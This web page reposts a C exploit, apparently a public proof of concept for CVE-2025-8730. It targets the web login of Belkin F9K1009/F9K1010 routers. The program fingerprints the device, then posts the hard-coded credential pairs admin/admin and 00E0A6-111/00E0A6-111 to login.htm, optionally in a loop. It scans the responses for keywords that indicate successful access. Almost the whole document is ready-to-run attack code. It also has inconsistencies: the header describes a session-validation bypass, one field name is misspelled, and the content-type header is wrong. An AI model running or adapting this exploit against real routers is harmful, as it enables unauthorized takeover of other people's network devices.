Belkin F9K1009 F9K1010 2.00.04/2.00.09 – Hard Coded Credentials


/*
 * Title           : Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials
 * Author       : Byte Reaper
 * CVE          : CVE-2025-8730
 * Description  : Exploit demonstrating an authentication bypass vulnerability 
 *                in the web interface of Belkin F9K1009 and F9K1010 routers. The flaw resides 
 *                in improper session validation logic, allowing remote attackers to gain 
 *                unauthorized access to the administrative panel without supplying valid credentials.
 */


#include 
#include 
#include 
#include "argparse.h"
#include 
#include 
#include 
#define FULL 2000
#define LOGIN_POST 1500

const char *nameFileC = NULL;
int verbose = 0;
const char *router = NULL;
const char *cookies = NULL;
int uC = 0;
const char *fullurl = NULL;
int sleepS = 0;
int count = 0;
void exitSyscall()
{
    __asm__ volatile
    (
        "mov $0x3C, %%rax\n\t"
        "xor %%rdi, %%rdi\n\t"
        "syscall\n\t"
        :
        :
        :"rax", 
         "rdi"
    );
}
int checkLen(int len, char *buf, size_t bufcap)
{
    if (len < 0 || (size_t)len >= bufcap)
    {
        printf("\e[0;31m[-] Len is Long ! \e[0m\n");
        printf("\e[0;31m[-] Len %d\e[0m\n", len);
        exitSyscall();
        return 1;
    }
    else
    {
        printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len);
        return 0;

    }
    return 0;
}
struct Mem
{
    char *buffer;
    size_t len;
};

size_t write_cb(void *ptr,
                size_t size,
                size_t nmemb,
                void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exitSyscall();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
const char *wordLogin[] = 
{
    "login_success",
    "Welcome",
    "Dashboard",
    "admin panel",
    "Set-Cookie",
    "Authorization",
    "token",
    "sessionid",
    "redirect",
    "access granted",
    "authenticated",
    "user authenticated",
    "login ok",
    "login complete",
    "login status=success",
    "login=1",
    "auth=1",
    "valid credentials",
    "home.htm",
    "main.htm",
    "index.htm",
    "config.htm",
    "firmware.htm",
    "admin.htm",
    NULL
};
void sleepTime(int sec)
{
    if (sec <= 0)
    {
        fprintf(stderr, "\e[0;31m[-] Value seconds must be > 0 !\e[0m\n");
        exitSyscall();
    }

    struct timespec req, rem;
    req.tv_sec  = (time_t)sec;
    req.tv_nsec = 0;

    printf("\e[0;33m[+] Sleeping for %d seconds...\e[0m\n", sec);

    while (nanosleep(&req, &rem) == -1)
    {
        if (errno == EINTR) 
        {
          
            req = rem;
            continue;
        }
        perror("\e[0;31m[-] Nanosleep failed !\e[0m");
        exitSyscall();
    }

    printf("\e[0;34m[+] Sleep successful.\e[0m\n");
}
void detectDeviceType(const char *routerIp)
{	
    printf("\n=================================== [type Device] ===================================\e[0m\n");
    
    CURL *curl = curl_easy_init();
    if (!curl) exitSyscall();

    struct Mem response = { NULL, 0 };

    
    char full[FULL];
    int len = snprintf(full, sizeof(full), "http://%s", routerIp);
    if (checkLen(len, full, sizeof(full))) 
    {
        exitSyscall();
    }

    curl_easy_setopt(curl, CURLOPT_URL, full);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(curl,
		CURLOPT_CONNECTTIMEOUT,
		5L);
    if (sleepS)
    {
		sleepTime(sleepS);
    }
    curl_easy_setopt(curl,
		    CURLOPT_TIMEOUT,
		    10L);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
    curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L);

    CURLcode res = curl_easy_perform(curl);
    if (res != CURLE_OK)
    {
        fprintf(stderr, "\e[0;31m[-] curl error: %s\n", curl_easy_strerror(res));
    }

    if (response.buffer)
    {
        if (strstr(response.buffer, "F9K1009"))
        {
        	printf("\e[0;36m[+] Device: Belkin F9K1009\e[0m\n");
        }
            
        else if (strstr(response.buffer, "F9K1010"))
        {
        	printf("\e[0;36m[+] Device: Belkin F9K1010\e[0m\n");
        }
            
        else
        {
        	  printf("\e[0;31m[-] Unknown device type\e[0m\n");
        	free(response.buffer);
        }
          
    }
    else
    {
        printf("\e[0;31m[-] Response Is NULL !\n");
    };
    response.buffer= NULL;
    response.len = 0;
    curl_easy_cleanup(curl);
    printf("=====================================================================================\n");
}


void credentialsRequest(const char *routerIp)
{
	CURL *curl = curl_easy_init();
	if (curl == NULL)
	{
		printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
		exitSyscall();
	}
	CURLcode res;
	
	char full[FULL];
	int nL = 2;
	struct  Mem response;
	response.buffer= NULL;
	response.len = 0;
	for (int l = 0; l <= nL; l++)
	{
		if (curl)
		{
			char full[FULL];
			char post[LOGIN_POST];
			
			if (fullurl != NULL )
			{
			
				int lenFull = snprintf(full, sizeof(full), "%s", fullurl);
				if (checkLen(lenFull,full, sizeof(full)) == 1)
				{
					printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n");
					printf("\e[0;31m[-] Len : %d\n",lenFull);
					exitSyscall();
				}
				printf("[+] Create FULL URL Successfully.\e[0m\n");
				printf("[+] Default Port Request : %d\e[0m\n", 80);
				printf("[+] FULL URL : %s\n", full);
			}
			else
			{
				int lenI = snprintf(full, 	
				sizeof(full), 
				"http://%s/login.htm", 
				routerIp);
				if (checkLen(lenI,full, sizeof(full)) == 1)
				{
					printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n");
					printf("\e[0;31m[-] Len : %d\e[0m\n",lenI);
					exitSyscall();
				}
				else
				{
					printf("\e[1;34m[+] Create FULL URL Successfully.\e[0m\n");
					printf("\e[1;34m[+] Target IP %s\e[0m\n", routerIp);
					printf("\e[1;34m[+] Default Port Request : %d\e[0m\n", 80);
					printf("\e[1;34m[+] FULL URL : %s\e[0m\n", full);
					
				}
			
			}
			if (l < 2) 
			{
			 	//login  admin
				int vA = snprintf(post, sizeof(post),
				    "login_username=admin&login_password=admin");
				if (checkLen(vA,
					post, 
					sizeof(post)) == 1)
				{
					printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n");
					printf("\e[0;31m[-] Len (data): %d\e[0m\n",
					vA);
					exitSyscall();
				}
				printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n");
				printf("\e[0;36m[%d] Result POST DATA (admin) : \e[0m\n", l);
				printf("\n%s\n", post);
		    	} 
		    	else 
		    	{
			    	//login 00E0A6-111
				int vE = snprintf(post, sizeof(post),
				    "login_usernam=00E0A6-111&login_password=00E0A6-111");
				if (checkLen(vE,
					post, 
					sizeof(post)) == 1)
				{
					printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n");
					printf("\e[0;31m[-] Len (data): %d\n",
					vE);
					exitSyscall();
				}
				printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n");
				printf("\e[0;36m[%d] Result POST DATA (00E0A6-111) : \e[0m\n", l);
				printf("\n%s\n", post);
			}
			
			
			
			curl_easy_setopt(curl, 
				CURLOPT_URL, 
				full);

			if (uC)
			{
			
				curl_easy_setopt(curl,
						   CURLOPT_COOKIEFILE,
						   cookies);
				curl_easy_setopt(curl,
						     CURLOPT_COOKIEJAR,
						     cookies);

			}
			curl_easy_setopt(curl, 
				CURLOPT_POST, 
				1L);
			curl_easy_setopt(curl, 
				CURLOPT_POSTFIELDS, 
				post);
			curl_easy_setopt(curl, 
				CURLOPT_POSTFIELDSIZE, 
				(long)strlen(post));
			curl_easy_setopt(curl,
				 CURLOPT_ACCEPT_ENCODING,
				  "");
			curl_easy_setopt(curl,
					CURLOPT_FOLLOWLOCATION,
					1L);
			curl_easy_setopt(curl,
				CURLOPT_WRITEFUNCTION,
				write_cb);
			curl_easy_setopt(curl,
					CURLOPT_WRITEDATA,
					&response);
			curl_easy_setopt(curl,
					CURLOPT_CONNECTTIMEOUT,
					5L);
			if (sleepS)
			{
				sleepTime(sleepS);
			}
			curl_easy_setopt(curl,
					CURLOPT_TIMEOUT,
					10L);
			curl_easy_setopt(curl,
				        CURLOPT_SSL_VERIFYPEER,
				        0L);
			curl_easy_setopt(curl,
					CURLOPT_SSL_VERIFYHOST,
					0L);
			if (verbose)
			{
				printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
				curl_easy_setopt(curl,
						 CURLOPT_VERBOSE,
						 1L);
			}
			struct curl_slist *headers = NULL;
			headers = curl_slist_append(headers,
						      "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
			headers = curl_slist_append(headers,
						      "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
			headers = curl_slist_append(headers,
				              "Accept-Encoding: gzip, deflate, br");
			headers = curl_slist_append(headers,
						      "Accept-Language: en-US,en;q=0.5");
			headers = curl_slist_append(headers,
						      "Connection: keep-alive");
			headers = curl_slist_append(headers, "Content-Type: application/json");

			headers = curl_slist_append(headers,
						      "Cache-Control: max-age=0");
			curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
			res = curl_easy_perform(curl);
			curl_slist_free_all(headers);
			if (res == CURLE_OK)
			{
				long httpCode = 0;
				long totalR;
				double timeredirect;
				char *redirectUrl = NULL;
				printf("\e[0;36m[+] Request sent successfully\e[0m\n");
				if (response.len == 0)
				{
					
					printf("\e[0;31m[-] Response Len Zero !\e[0m\n");
				}
				curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
						     &httpCode);
				printf("\e[0;32m[+] Http Code : %ld\e[0m\n", httpCode);
				curl_easy_getinfo(curl, 
					CURLINFO_REDIRECT_COUNT, 
					&totalR);
				curl_easy_getinfo(curl, 
					CURLINFO_REDIRECT_TIME, 
					&timeredirect);
				curl_easy_getinfo(curl, 
					CURLINFO_REDIRECT_URL, 
					&redirectUrl);
				printf("\e[0;35m[+] REDIRECT : ========================\e[0m\n");
				printf("\e[0;34m[+] Time REDIRECT: %.1f\e[0m\n", timeredirect);
				printf("\e[0;34m[+] Total REDIRECT %ld\e[0m\n", totalR);
				printf("\e[0;34m[+] REDIRECT to : %s\e[0m\n", redirectUrl);
				printf("\e[0;35m=======================================\e[0m\n");
				if (httpCode >= 200 && httpCode < 300)
				{
					if (response.buffer)
					{
						for (int r = 0; wordLogin[r] != NULL; r++)
						{
							if (strstr(response.buffer, wordLogin[r]) != NULL)
							{
								printf("\e[0;34m[+] Word Found : %s\n", wordLogin[r]);
								printf("\e[0;35m============================================= [RESPONSE] =============================================\e[0m\n");
								printf("\n%s\n",response.buffer);
								printf("\e[0;35m ======================================================================================================\e[0m\n");
										
							}
							if (verbose)
							{
									printf("\e[0;31m[-] Word Not Found  : %s\e[0m\n",wordLogin[r]);
							}
						}
					}
					else
					{
						printf("\e[0;31m[-] Response Buffer Is NULL !\e[0m\n");
						printf("\e[0;31m[-] Possible Waf \e[0m\n");
					}
						
						
				}
				else 
				{
				       printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", httpCode);
				}
					
				
			
			}
			else
			{
			    printf("\e[0;31m[-] The request was not sent !\e[0m\n");
			    printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
			    exitSyscall();

			}

		}
		
	}
	curl_easy_cleanup(curl);
        if (response.buffer)
	{
		free(response.buffer);
		response.buffer = NULL;
		response.len = 0;
	}
		
}

int main(int argc, const char **argv)
{
    printf("+-----------------------------------------------------------+\n");
    printf("| Author : 		  [ Byte Reaper ]                   |\n");
    printf("| CVE : 		  [ CVE-2025-8730 ]                 |\n");
    printf("| Type Vuln : 	  [ hard-coded credentials ]        	    |\n");
    printf("| Exploit publishing : [ 08/08/2025 ]	                    |\n");
    printf("| Target Service : 	  [ Belkin F9K1009/F9K1010 ]        |\n");
    printf("+-----------------------------------------------------------+\n");
    printf("\e[0;31m--------------------------------------------------------------------------------------------------------------------\e[0m\n");
    curl_global_init(CURL_GLOBAL_DEFAULT);

    struct argparse_option options[] =
    {
    	OPT_STRING('f', 
    		"full", 
    		&fullurl, 
    		"FULL url  FORMAT (Login File)"),
        OPT_HELP(),
               OPT_STRING('i',
                          "ip",
                          &router,
                          "Router Ip  (12.12.12.12)"),
               OPT_STRING('c',
                          "cookies",
                          &nameFileC,
                          "Enter File cookies"),         
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),
                    
        OPT_INTEGER('s', 
        	"sleep", 
        	&sleepS, 
        	"Sleep Request"),
        OPT_INTEGER('k', 
        	"count", 
        	&count, 
        	"Number For Loop Request (-k 8 (8 Request))"),
       OPT_END(),
    
    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    if (router == NULL && fullurl == NULL)
    {
        printf("\e[0;31m[-] Please Enter target Router IP  !\e[0m\n");
        printf("\e[0;31m[-] Example : ./CVE-2025-8730 -i  \e[0m\n");
        exitSyscall();
    }
    if (nameFileC)
    {
        uC = 1;
    }
    if (verbose)
    {
        verbose = 1;
    } 
    if (fullurl)
    {
    	credentialsRequest(NULL);
    }
    if (sleepS)
    {
    	sleepTime(sleepS);
    }
    
    if (count)
    {
    	for (int j = 0; j <= count; j++)
    	{
    		
    		if (fullurl)
    		{	
    			credentialsRequest(fullurl);
    		}
    		if (router)
    		{
    			credentialsRequest(router);
    		}
    		
    	}
    }
    detectDeviceType(router);
    credentialsRequest(router);
    curl_global_cleanup();
    return 0;

}
            



Source link

Leave a Reply

Your email address will not be published. Required fields are marked *